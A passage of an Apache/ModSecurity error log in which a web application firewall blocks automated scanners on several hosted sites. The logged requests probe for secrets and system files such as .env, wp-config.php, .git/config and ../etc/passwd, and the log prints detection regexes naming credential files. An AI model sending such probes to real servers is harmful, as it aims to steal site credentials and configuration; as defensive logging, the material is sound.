532003] [client 103.153.183.69:48972] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/static/.env"] [unique_id "ai3x-MTA7b1mZrmcA-85HgAAAhs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.802035 2026] [security2:error] [pid 531797:tid 532109] [client 143.244.57.82:54544] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ai3x-MTA7b1mZrmcA-85HwAAAoI"] [Sat Jun 13 18:12:40.810553 2026] [security2:error] [pid 531797:tid 532107] [client 103.153.183.69:48976] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/uploads../.env"] [unique_id "ai3x-MTA7b1mZrmcA-85IAAAAoA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.836135 2026] [security2:error] [pid 531797:tid 532086] [client 103.153.183.69:48976] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/uploads../wp-config.php"] [unique_id "ai3x-MTA7b1mZrmcA-85IgAAAmw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.851647 2026] [security2:error] [pid 531797:tid 532121] [client 103.153.183.69:48972] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/assets/.env"] [unique_id "ai3x-MTA7b1mZrmcA-85IwAAAo0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.862168 2026] [security2:error] [pid 531797:tid 532011] [client 103.153.183.69:48998] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/uploads../config.php"] [unique_id "ai3x-MTA7b1mZrmcA-85JQAAAiM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.878903 2026] [security2:error] [pid 531797:tid 532104] [client 103.153.183.69:48972] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/assets/.env"] [unique_id "ai3x-MTA7b1mZrmcA-85JwAAAn0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.888111 2026] [security2:error] [pid 531797:tid 532098] [client 103.153.183.69:48986] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/uploads../index.php"] [unique_id "ai3x-MTA7b1mZrmcA-85KgAAAnc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.889858 2026] [access_compat:error] [pid 531797:tid 531874] [remote 57.141.14.14:39890] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:40.890279 2026] [access_compat:error] [pid 531797:tid 531874] [remote 57.141.14.14:39890] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:40.907349 2026] [security2:error] [pid 531797:tid 532080] [client 103.153.183.69:48972] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/assets/.env"] [unique_id "ai3x-MTA7b1mZrmcA-85KwAAAmY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.996508 2026] [security2:error] [pid 531797:tid 532051] [client 103.153.183.69:49004] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/public/.env"] [unique_id "ai3x-MTA7b1mZrmcA-85LwAAAkk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.024582 2026] [security2:error] [pid 531797:tid 532034] [client 103.153.183.69:49004] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/public/.env"] [unique_id "ai3x-cTA7b1mZrmcA-85MAAAAjk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.033887 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.111:30944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:41.034158 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.111:30944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:41.035324 2026] [security2:error] [pid 531797:tid 532024] [client 103.153.183.69:48972] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/uploads../config.py"] [unique_id "ai3x-cTA7b1mZrmcA-85MgAAAjA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.053628 2026] [security2:error] [pid 531797:tid 532013] [client 103.153.183.69:49004] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/public/.env"] [unique_id "ai3x-cTA7b1mZrmcA-85NAAAAiU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.062969 2026] [security2:error] [pid 531155:tid 531379] [client 103.153.183.69:49012] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/uploads../.git/config"] [unique_id "ai3x-SmiP80klyS0NnoFhQAAAWg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.094839 2026] [security2:error] [pid 531155:tid 531391] [client 143.244.57.82:54554] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ai3x-SmiP80klyS0NnoFhwAAAXQ"] [Sat Jun 13 18:12:41.147378 2026] [security2:error] [pid 531797:tid 532111] [client 103.153.183.69:49028] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/dist/.env"] [unique_id "ai3x-cTA7b1mZrmcA-85OgAAAoQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.174921 2026] [security2:error] [pid 531797:tid 532125] [client 103.153.183.69:49028] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/dist/.env"] [unique_id "ai3x-cTA7b1mZrmcA-85OwAAApA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.176061 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:12:41.176518 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:12:41.202404 2026] [security2:error] [pid 531797:tid 532026] [client 103.153.183.69:49028] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/dist/.env"] [unique_id "ai3x-cTA7b1mZrmcA-85PAAAAjI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.236067 2026] [security2:error] [pid 531155:tid 531246] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/index_dev.php/_profiler/open"] [unique_id "ai3x-SmiP80klyS0NnoFiwABSlo"] [Sat Jun 13 18:12:41.254905 2026] [security2:error] [pid 531797:tid 532060] [client 103.153.183.69:49028] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/build/.env"] [unique_id "ai3x-cTA7b1mZrmcA-85QQAAAlI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.282049 2026] [security2:error] [pid 531797:tid 532064] [client 103.153.183.69:49028] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/build/.env"] [unique_id "ai3x-cTA7b1mZrmcA-85QgAAAlY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.309889 2026] [security2:error] [pid 531797:tid 532042] [client 103.153.183.69:49028] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/build/.env"] [unique_id "ai3x-cTA7b1mZrmcA-85RAAAAkE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.311233 2026] [security2:error] [pid 531797:tid 532128] [client 103.153.183.69:49004] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/media../etc/passwd"] [unique_id "ai3x-cTA7b1mZrmcA-85RQAAApM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.338265 2026] [security2:error] [pid 531797:tid 532122] [client 103.153.183.69:49004] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/media../etc/nginx/nginx.conf"] [unique_id "ai3x-cTA7b1mZrmcA-85RwAAAo4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.363413 2026] [security2:error] [pid 531797:tid 532045] [client 103.153.183.69:49004] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/media../.env"] [unique_id "ai3x-cTA7b1mZrmcA-85SwAAAkQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.364337 2026] [security2:error] [pid 531797:tid 532103] [client 103.153.183.69:49028] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/web/.env"] [unique_id "ai3x-cTA7b1mZrmcA-85SgAAAnw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.371390 2026] [security2:error] [pid 531155:tid 531218] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/index_dev.php/_profiler/open"] [unique_id "ai3x-SmiP80klyS0NnoFjgABLj4"] [Sat Jun 13 18:12:41.389622 2026] [security2:error] [pid 531155:tid 531326] [client 103.153.183.69:49034] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/media../wp-config.php"] [unique_id "ai3x-SmiP80klyS0NnoFjwAAATM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.391286 2026] [security2:error] [pid 531797:tid 532001] [client 103.153.183.69:49028] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/web/.env"] [unique_id "ai3x-cTA7b1mZrmcA-85TQAAAhk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.395429 2026] [security2:error] [pid 531797:tid 532014] [client 143.244.57.82:54566] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ai3x-cTA7b1mZrmcA-85TgAAAiY"] [Sat Jun 13 18:12:41.417483 2026] [security2:error] [pid 531797:tid 532038] [client 103.153.183.69:49028] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/media../config.php"] [unique_id "ai3x-cTA7b1mZrmcA-85TwAAAj0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.470923 2026] [security2:error] [pid 531155:tid 531320] [client 103.153.183.69:49050] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/web/.env"] [unique_id "ai3x-SmiP80klyS0NnoFlQAAAS0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.471704 2026] [security2:error] [pid 531155:tid 531377] [client 103.153.183.69:49060] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/media../index.php"] [unique_id "ai3x-SmiP80klyS0NnoFlgAAAWY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.507080 2026] [security2:error] [pid 531155:tid 531257] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at ARGS:file. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "198"] [id "340007"] [rev "47"] [msg "Atomicorp.com WAF Rules: Generic Path Recursion denied"] [data "/../,ARGS:file"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/"] [unique_id "ai3x-SmiP80klyS0NnoFmQABgmU"] [Sat Jun 13 18:12:41.528113 2026] [security2:error] [pid 531155:tid 531366] [client 103.153.183.69:49050] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/media/.env"] [unique_id "ai3x-SmiP80klyS0NnoFmgAAAVs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.555926 2026] [security2:error] [pid 531155:tid 531288] [client 103.153.183.69:49050] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/media/.env"] [unique_id "ai3x-SmiP80klyS0NnoFmwAAAQ0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.583895 2026] [security2:error] [pid 531155:tid 531305] [client 103.153.183.69:49050] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/media/.env"] [unique_id "ai3x-SmiP80klyS0NnoFnAAAAR4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.613822 2026] [security2:error] [pid 531797:tid 531905] [remote 57.141.14.101:32186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 101.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3x-cTA7b1mZrmcA-85VwACMSk"], referer: https://nelsonfarmstn.com/product/wonder-berry/?add_to_wishlist=389&_wpnonce=8d149de2a5&add-to-cart=386 [Sat Jun 13 18:12:41.615276 2026] [security2:error] [pid 531797:tid 532124] [client 103.153.183.69:49078] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] 